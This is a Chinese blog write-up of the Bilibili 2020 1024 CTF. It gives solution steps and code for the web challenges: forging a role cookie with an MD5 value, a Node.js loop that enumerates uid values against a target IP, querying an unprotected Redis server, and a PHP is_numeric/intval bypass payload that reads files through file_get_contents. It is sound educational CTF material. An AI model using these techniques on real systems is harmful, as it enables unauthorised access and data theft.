Bilibili 2020「1024 程序员节」CTF Write Up

Bilibili 2020「1024 程序员节」CTF Write Up

技术向约 2.8 千字

周六不放假休息,还在这加班搞 CTF?

10 月 24 日不睡觉、凌晨两点钟我还在水群,结果在 USTC@LUG 的群里看见有人在打 Bilibili 的 CTF。我刚刚好一年(指 370 天)没有打过 CTF 了(上一次打正式的 CTF 还是去年参加的 USTC Hackergame 2019),所以想着来玩玩。虽然 CTF 结束之前不应该分享和公开 Write Up 和题解,不过 Bilibili 这 CTF 既然这么离谱,那我也没必要按照常理出牌。

本文更新于 2020 年 10 月 25 日下午 6 点(China Standard Time)。

由于这次 Bilibili 的 CTF 题实在没有什么存档研究的必要,我的 Write Up 里就留一些代码片段和截图,大家也没有复盘的必要。

页面的背后是什么 & 真正的秘密只有特殊的设备才能看到

一个页面,两道题。打开来就是这个页面:

curl 太慢了而且没有代码高亮、直接在地址栏通过 view-source: 看看源码,把 JavaScript 拿出来:

$.ajax({
    url: "api/admin",
    type: "get",
    success:function (data) {
        //console.log(data);
        if (data.code == 200){
            // 如果有值:前端跳转
            var input = document.getElementById("flag1");
            input.value = String(data.data);
        } else {
            // 如果没值
            $('#flag1').html("接口异常,请稍后再试~");
        }
    }
})

所以第一题的 Flag 就是 GET /api/admin 了。在页面上 #flag1 元素是被包裹在一个 display: none 的容器里的,不过审查元素或者直接请求访问 API 都能拿到第一题的 Flag。

$.ajax({
    url: "api/ctf/2",
    type: "get",
    success:function (data) {
        //console.log(data);
        if (data.code == 200){
            // 如果有值:前端跳转
            $('#flag2').html("flag2: " + data.data);
        } else {
            // 如果没值
            $('#flag2').html("需要使用bilibili Security Browser浏览器访问~");
        }
    }
})

第二题要求用「bilibili Security Browser」访问,有没有让你想起来前年 USTC Hackergame 2018 的「黑曜石浏览器」?

直接用 bilibili Security Browser 作为 User-Agent 请求 API 即可获得 Flag,注意别忘了带上 Session 这个 Cookie,这个是 Bilibili 账户登录状态。

Chromium Based 浏览器本身内置了修改了 User-Agent 的功能。打开 DevTools 的设置菜单、在「Devices」里添加一个新的设备,此处可以指定 User-Agent:

之后就可以使用「bilibili Security Browser」访问了:

密码是啥?

这道题没啥好 Write Up 的,全部靠猜。用户名是 admin 密码是 bilibili

你这算哪门子 CTF 啊?又不靠社工,真就硬猜?

以及,你给我翻译翻译,什么叫做 falg?

对不起,权限不足~

首次访问:

刷新一次:

有趣,看一下源代码:

$.ajax({
    url: "api/ctf/4",
    type: "get",
    success:function (data) {
        console.log(data);
        if (data.code == 200){
            // 如果有值:前端跳转
            $('#flag').html("欢迎超级管理员登陆~答案是 : {{ " + data.data + " }}".toLowerCase() )
        } else {
            // 如果没值
            $('#flag').html("有些秘密只有超级管理员才能看见哦~")
        }
    }
})

又是 API 返回 flag,用手指头想都知道鉴权是 Cookie 做的,打开 F12 查看 Cookie:

两个 Cookie,一个是 session,是 Bilibili 账户登录状态的 cookie;另一个是 role,毫无疑问就是我们下手的对象:

role=ee11cbb19052e40b07aac0ca060c23ee

打 CTF 的人应该早就把这一串刻进 DNA 里了。即使不知道这串字符是什么东西,丢进搜索引擎后也会知道这是 user 的 MD5。接下来思路就很清晰了,通过将 role 的 Cookie 改成另一串 MD5 即可。

不过这就是这道题离谱的地方了,这道题要把 role 改成 Administrator 的 MD5(你没有看错,首字母是大写的):

role=7b7bc2512ee1fedcd76bdc68926d4f7b

改好 Cookie 刷新页面就可以拿到 flag 了。

别人的秘密

$(function () {
    (function ($) {
        $.getUrlParam = function (name) {
            var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
            var r = window.location.search.substr(1).match(reg);
            if (r != null) return unescape(r[2]); return null;
        }
    })(jQuery);

    var uid = $.getUrlParam('uid');
    if (uid == null) {
        uid = 100336889;
    }
    $.ajax({
        url: "api/ctf/5?uid=" + uid,
        type: "get",
        success: function (data) {
            console.log(data);
            if (data.code == 200) {
                // 如果有值:前端跳转
                $('#flag').html("欢迎超级管理员登陆~flag : " + data.data)
            } else {
                // 如果没值
                $('#flag').html("这里没有你想要的答案~")
            }
        }
    })
});

这道题更离谱,上来先在 jQuery 的 $ 对象下挂了一个 getUrlParam 方法用来获取 uid、然后还有一个当 uid 不存在时给予默认值的方法(默认值取 100336889),接下来就是 GET /api/ctf/5?uid=${uid}

千万不要学习本题源码中的方法解析 URL 参数!unescape 不能处理非 ASCII 字符,极易产生乱码,在生产环境中只应使用 WHATWG URL API 的 searchParams

这道题没什么好说的,直接遍历就好了,Node.js 解法如下:

const http = require('http');

async function get(hostname, path) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      { hostname, path, method: 'GET' },
      (res) => {
        const body = [];
        res.on('data', (chunk) => { body.push(chunk); });
        res.on('end', () => {
          try {
            resolve(Buffer.concat(body).toString());
          } catch (e) {
            reject(e);
          }
        });
        req.on('error', (err) => { reject(err); });
      }
    );

    req.setHeader('Cookie', 'session=你的 Session')
    req.end();
  });
}

(async () => {
  const ip = '45.113.201.36'; // 我也不知道靶机的 IP 为什么会变,可能被打死了
  let uid = 100336889;
  while (true) {
    const res = await get(ip, `/api/ctf/5?uid=${uid++}`);

    if (JSON.parse(res).code === 200) {
      console.log(uid, res);
      break;
    }
  }
})();

唯一值得说的是,如果从他给的 UID 默认值(100336889)开始往上刷,很快就刷到了(100336952)。

这我们怎么知道嘛?我反正一开始是从 0 开始刷的,好在我做这道题时是 10 月 24 日凌晨三点、只有几个人在玩,靶机还扛得住,1 亿我真就刷出来了。

结束亦是开始

一个页面,文章标题、内容、分类、标签全部都是 null;评论框是用 HTML5 表单做的、什么都不能提交;URL 的格式是 /blog/single.php?id=1

这道题和 CUIT(成都信息科技大学)有一年 CTF 校内赛的渗透题很类似。那道题也是 single.php?id=1,SQL 提权然后 Get shell 打入内网。所以一开始看到这个 URL 就开始盲猜是 SQL 注入。我当时做到这道题时已经五点了,所以挂上 sqlmap 就去睡觉了,结果并没有做出来这道题(sqlmap 毫无头猪,不过给了疑似存在 Referer 时间戳盲注)。

等做出来第十题后再来看这道题,就觉得非常离谱;到后来做出来的大佬提示大家这是一道脑洞题时,我已经没有心思做下去了。

从第六题开始,所有题目都说「接下来的旅程,需要少年自己去探索啦~」,也就是说接下来所有的题目都是 Web 盲题。

第八题

这道题要靠 nmap 扫端口扫出来,发现 6379 端口开放,当然就是大家最爱的未设防的 Redis 服务器啦。

直接通过 redis-cli 连接靶机,一把梭拿到 flag:

$ redis-cli -h [靶机 IP] -p 6379
45.113.201.36:6379> keys
flag8
45.113.201.36:6379> get flag8

值得注意的是,这 Redis Server 很有趣,因为你使用任何其它命令都只会返回 OK:

所以,这个很可能是个假的 Redis Server、就是个 REPL,也许第九题就是道 pwn 题呢?

第十题

第十题的入口要靠目录爆破,我使用的工具是 dirsearch

直接访问 /test.php 是个 JSFuck,所以直接丢进 Console 就好了:

程序员最多的地方 bilibili1024havefun

程序员最多的地方当然是 GitHub 了。去 GitHub 上搜索 bilibili1024havefun 很容易就可以找到这个仓库 interesting-1024/end

<?php

//filename end.php

$bilibili = "bilibili1024havefun";

$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
    $content = file_get_contents($_GET['url']);

    //文件路径猜解
    if (false){
        echo "还差一点点啦~";
    }else{
        echo $flag;
    }
}else{
    echo "你想要的不在这儿~";
}
?>

所以这道题就是在 /blog/end.php 里了,构建 Payload 以获取 Flag。这道题考察的是 is_numericintval 如何绕过、以及 $_GET 的一些脑洞。这道题最终的 Payload 是:

/blog/end.php?id[]=x&id[]=0.1&url=./flag.txt

url 参数只要包含 flag.txt 即可,所以你就算 url=114514flag.txt1919810 都是可以的。和某些人说的 /api/ctf/10/flag.txt/api/ctf/6/flag.txt 完全没有关系。

这道题最简洁的思路是利用 $_GET 支持返回数组 :

<?php

print_r($_GET['tag_name']);

// http://127.0.0.1/index.php?tag_name[]=苏卡卡&tag_name[]=大尾巴狐狸
// Array ( [0] => 苏卡卡 [1] => 大尾巴狐狸 )

关于如何 Bypass is_numericintval,我找到了一篇写的还挺全面的文章「CTF 中常见 PHP 特性学习笔记」。

顺便,不少战队和选手通过 $file_get_contents 逃逸后,把每道题的源码都读了一遍、甚至通过读取 /dev/urandom/dev/random 拖死了靶机,不过这已经是后话了。

尾声

USTC Hackergame 2018 为了「黑曜石浏览器」的题专门上线了一个官网、在那个官网的源码中隐藏了 Heicore Browser 的 User-Agent,Bilibili 的第二题是一个非常拙劣的模仿;第三题直接就是脑筋急转弯,和渗透、社工毫无关联,密码纯粹靠猜;第四题更是表现了出题人的前端知识基本为 0,使用从 CSDN 上抄来的 URL 参数解析代码,却不知道 JavaScript 中 unescape 不能处理非 ASCII 字符(更不必说 unescape 是一个已被弃用的方法),基本上是个前端都知道宁肯引入 URL.searchParams 的 Polyfill 也不应该自己解析 URL;第五题并没有明确提示告诉大家应该从给定的默认 uid 开始刷(你给我翻译翻译,谁家系统的超级管理员 uid 不是小于 10 而是大于 1 亿的?)。在经过了这么多无厘头的题目以后,接下来上来就是五道 Web 盲题:未设防 Redis 题本来可以深入到 Get shell、提权的,结果第八题草草 get flag8 了事;第十题的「文件路径猜解」更是非常无厘头,当做题人构建完能绕过 is_numericintval 的 Payload 后,还要猜测 url 参数的取值需要包含 flag.txt 才能取到最终的 flag;而且第十题拿到的图片直接 tail 就能拿到 flag,而图片隐写本来是非常经典的 CTF 考法。

无厘头的题目、加上混乱的活动页面(Vue 和 jQuery 齐飞、Element UI 共 Bootstrap 一色),再联想起 Bilibili 中间件源码泄漏、Anankke 在新年活动上 只用两小时就刷出了 11 亿美食值,我们大体上可以猜测的出 Bilibili 内部混乱的管理、松散的组织,和极度不重视信息安全、乃至极度不重视技术的风气。Bilibili 这一次的 CTF 暴露出来的问题,远不止选手用 /blog/end.php 读取 /dev/urandom/dev/random 耗尽靶机性能导致题目 404 这么简单了。

Bilibili 2020「1024 程序员节」CTF Write Up
本文作者
Sukka
发布于
2020-10-25
许可协议
转载或引用本文时请遵守许可协议,注明出处、不得用于商业用途!
如果你喜欢我的文章,或者我的文章有帮到你,可以考虑一下打赏作者
评论加载中...